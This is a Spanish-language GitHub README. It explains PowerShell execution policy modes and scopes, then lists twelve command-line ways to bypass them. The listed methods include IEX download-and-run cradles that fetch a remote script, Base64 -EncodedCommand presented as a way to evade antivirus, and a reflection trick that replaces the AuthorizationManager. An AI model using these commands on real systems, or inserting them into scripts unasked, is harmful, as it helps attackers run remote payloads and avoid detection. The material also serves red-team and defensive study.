Skip to content

adrianlois/Bypass-PowerShell-ExecutionPolicy

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

29 Commits
 
 
 
 
 
 
 
 

Repository files navigation

Bypass PowerShell Execution Policy

Bypass PowerShell Execution Policy

Explicación de la política de ejecución PowerShell

La configuración de seguridad por defecto establecidas en PowerShell:

  • Por defecto, no se ejecutan los scripts al hacer doble clic sobre ellos.
  • Todos los scripts deben estar firmados digitalmente con un certificado digital de confianza por el sistema anfitrión para poder ser ejecutados.
  • Todos los scripts no pueden ser ejecutados solo por su nombre en una sesión PowerShell, se debe espeficar la ruta relativa o absoluta.
  • El código se ejecuta bajo el contexto del usuario.
  • El código que se descarga a través de un navegador web o a través de clientes de correo electrónico que marcan el archivo como descargado de internet en los metadatos del archivo, se bloqueará la ejecución del archivo a menos que se permita específicamente.

Estos ajustes de seguridad por defecto proporcionan las siguientes protecciones:

  • Control of Execution: Controlar el nivel de confianza para la ejecución de scripts.
  • Command Highjack: Evitar la inyección de comandos en el home de usuario.
  • Identity: Un script creado y firmado por un desarrollador en el que confío y/o firmado con un certificado de una Autoridad de Certificación de confianza.
  • Integrity: Los scripts no pueden ser modificados por un malware o un usuario malintencionado.

Microsoft puso mucho cuidado y atención en minimizar la superficie de ataque de PowerShell cuando un atacante intenta engañar a un usuario para que ejecute un script posiblemente malicioso. Una vez en el sistema las cosas cambian ya que estos controles no pueden proteger de:

  • Copiar y pegar el contenido del script en PowerShell.
  • Codificar el script en Base64 y ejecutarlo desde la línea de comandos como argumento del powershell.exe.
  • Introducir cada comando a mano y ejecutarlo.
  • Realizar cambios de la política de ejecución en el contexto del usuario de PowerShell.

script_bypass_ps_executionpolicy

Modos de la política de ejecución (ExecutionPolicy)

Para controlar la validación de los scripts y cmdlets, se utiliza el cmdlet Set-ExecutionPolicy. Hay varias políticas que se pueden utilizar:

Set-ExecutionPolicy

  • Restricted: No se puede ejecutar ningún script local, remoto o descargado en el sistema.
  • AllSigned: Todas las secuencias de comandos que se ejecuten deben estar firmadas digitalmente por un usuario o entidad de confianza.
  • RemoteSigned: Todos los scripts remotos (rutas UNC) o descargados necesitan estar firmados.
  • Unrestricted: No es necesario firmar ningún script, todas las restricciones anteriores estarían deshabilitadas.

Tipos de ámbitos de la política de ejecución (Scopes)

Cada una de estas políticas puede aplicarse a diferentes ámbitos para controlar a quién afectan, esto se especifica con el parámetro -Scope:

  • MachinePolicy: La política de ejecución se establece por una Política de Grupo para todos los usuarios.
  • UserPolicy: La política de ejecución se establece por una Política de Grupo para el usuario actual.
  • Process: La política de ejecución se establece para el proceso actual de Windows PowerShell.
  • CurrentUser: La política de ejecución se establece para el usuario actual.
  • LocalMachine: La política de ejecución se establece para todos los usuarios.

Para obtener las directivas de ejecución de la sesión actual. Get-ExecutionPolicy

get_bypass_ps_executionpolicy

Bypass PowerShell Execution Policy: Varias formas de eludir la política de ejecución de PowerShell

1. Copiar y pegar el script o cargar las funciones directamente en una consola interactiva de PowerShell

1_bypass_ps_executionpolicy

2. Leer la secuencia de comandos de un archivo y canalizar la salida a una entrada estándar de PowerShell

Get-Content .\BypassEP.ps1 | powershell.exe -noprofile -
type .\BypassEP.ps1 | powershell.exe -noprofile -

2_bypass_ps_executionpolicy

3. Leer la secuencia de comandos de un archivo y canalizarla al comando Invoke-Expression

Get-Content .\BypassEP.ps1 | Invoke-Expression

Comando corto

gc .\BypassEP.ps1 | iex

3_bypass_ps_executionpolicy

4. Usar el parámetro ScriptBlock con Invoke-Command donde se lee el script desde un archivo y se canaliza a Invoke-Expression

Invoke-Command -ScriptBlock { Get-Content .\BypassEP.ps1 | IEX }

4_bypass_ps_executionpolicy

5. Utilizar el parámetro EncodeCommand codificando el script en Base64 para evitar una posible detección por parte de los motores de AVs

$command = Get-Content BypassEP.ps1
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
PowerShell.exe -EncodedCommand $encodedCommand

Comando corto usando directamente la cadena codificada en Base64

  • -enc: EncodedCommand (descodifica un comando de PowerShell desde un proceso en ejecución)
PowerShell.exe -enc VwByAGkAdABlAC0ASABvAHMAdAAgACIARQBzAHQAbwAgAGUAcwAgAHUAbgAgAGIAeQBwAGEAcwBzACAAZABlACAAUABTACAARQB4AGUAYwB1AHQAaQBvAG4AIABQAG8AbABpAGMAeQAiAA==

5_bypass_ps_executionpolicy

6. Descargar el script desde una URL y ejecutarlo con Invoke-Expression

powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('URL')"
powershell -nop -c "IEX(Invoke-WebRequest -Uri 'URL' -UseBasicParsing).Content"
  • -nop: noprofile (ignora los comandos en el archivo de perfil)
  • -c: command (ejecuta una instrucción de comandos) 6_bypass_ps_executionpolicy

7. Desactivar la ExecutionPolicy cambiando el AuthorizationManager

Function Disable-ExecutionPolicy {($ctx = $executionContext.GetType().GetField("_context","NonPublic,Instance").GetValue($executionContext)).GetType().GetField("_authorizationManager","NonPublic,Instance").SetValue($ctx, (New-Object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))} Disable-ExecutionPolicy ; .\BypassEP.ps1

7_bypass_ps_executionpolicy

8. Utilizar el flag "Bypass" de política de ejecución.

PowerShell.exe -ExecutionPolicy Bypass -File .\BypassEP.ps1
PowerShell.exe -exec Bypass -File .\BypassEP.ps1
  • -ExecutionPolicy Bypass o –exec BypassBypass: omitir/ignora la política de ejecución como Restringido, que restringe la ejecución de los scripts de PowerShell. 8_bypass_ps_executionpolicy

9. Utilizar el flag "Unrestricted" de política de ejecución.

PowerShell.exe -ExecutionPolicy Unrestricted -File .\BypassEP.ps1

9_bypass_ps_executionpolicy

10. Establecer la ExecutionPolicy para el ámbito del proceso

Set-ExecutionPolicy Bypass -Scope Process ; .\BypassEP.ps1

10_bypass_ps_executionpolicy

11. Establecer la ExecutionPolicy para el ámbito del usuario actual

Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy Unrestricted ; .\BypassEP.ps1

11_bypass_ps_executionpolicy

12. Establecer la ExecutionPolicy para el ámbito del usuario actual a través del Registro de Windows

New-ItemProperty -Path 'HKCU:Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell' -Name 'ExecutionPolicy' -Value "Unrestricted" -PropertyType String -Force
HKEY_CURRENT_USER\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell
ExecutionPolicy = Unrestricted

12_bypass_ps_executionpolicy

About

Bypass PowerShell Execution Policy - Varias formas de eludir la política de ejecución de PowerShell

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published